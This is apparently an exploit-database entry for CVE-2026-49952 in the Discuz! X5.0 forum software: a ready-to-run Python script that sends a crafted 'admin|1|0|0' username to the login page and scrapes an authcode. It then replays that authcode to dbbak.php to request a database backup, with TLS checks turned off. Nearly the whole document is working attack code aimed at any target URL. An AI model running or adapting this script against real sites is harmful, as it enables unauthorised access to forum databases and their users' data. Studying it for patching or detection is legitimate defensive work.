# Exploit Title: Discuz! X5.0 - Authentication Bypass # CVE: CVE-2026-49952 # Date: 2026-06-26 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://www.discuz.vip # Software Link: https://www.discuz.vip # Affected: Discuz! X5.0 (20260320 - 20260501) # Tested on: Discuz! X5.0 # Category: WebApps # Platform: PHP # Exploit Type: Authentication Bypass # CVSS: 9.1 # Description: Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse. # Fixed in: 20260510+ # Usage: # python3 exploit.py # # Examples: # python3 exploit.py http://target.com # python3 exploit.py https://target.com --proxy http://127.0.0.1:8080 # # Options: # --proxy HTTP proxy # # Notes: # • Tune payload if needed (e.g. admin|1|0|0) # # How to Use # # Step 1: # Run the script against the target # # Step 2: # Check if dbbak.php access is granted import requests import re import sys import argparse import urllib.parse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def get_authcode(target, payload, proxy): url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes" data = { "username": payload, "password": "dummy123", "loginsubmit": "yes" } proxies = {"http": proxy, "https": proxy} if proxy else None try: r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15) match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text) if match: return match.group(1) match = re.search(r'([a-zA-Z0-9]{32,60})', r.text) if match: return match.group(1) return None except: return None def exploit_dbbak(target, authcode, proxy): url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1" proxies = {"http": proxy, "https": proxy} if proxy else None try: r = requests.get(url, proxies=proxies, verify=False, timeout=15) print(f"[+] dbbak.php status: {r.status_code}") if r.status_code == 200: print("[+] Success! Access to database backup granted.") print(r.text[:400]) else: print("[-] Failed or access denied.") except: print("[-] Request failed.") def main(): banner() parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC") parser.add_argument("target", help="Target URL") parser.add_argument("--proxy", help="HTTP proxy", default=None) parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0") args = parser.parse_args() target = args.target.rstrip("/") print(f"[*] Target: {target}") print(f"[*] Payload: {args.payload}") authcode = get_authcode(target, args.payload, args.proxy) if authcode: print(f"[+] Authcode: {authcode}") exploit_dbbak(target, authcode, args.proxy) else: print("[-] Failed to get authcode.") if __name__ == "__main__": main()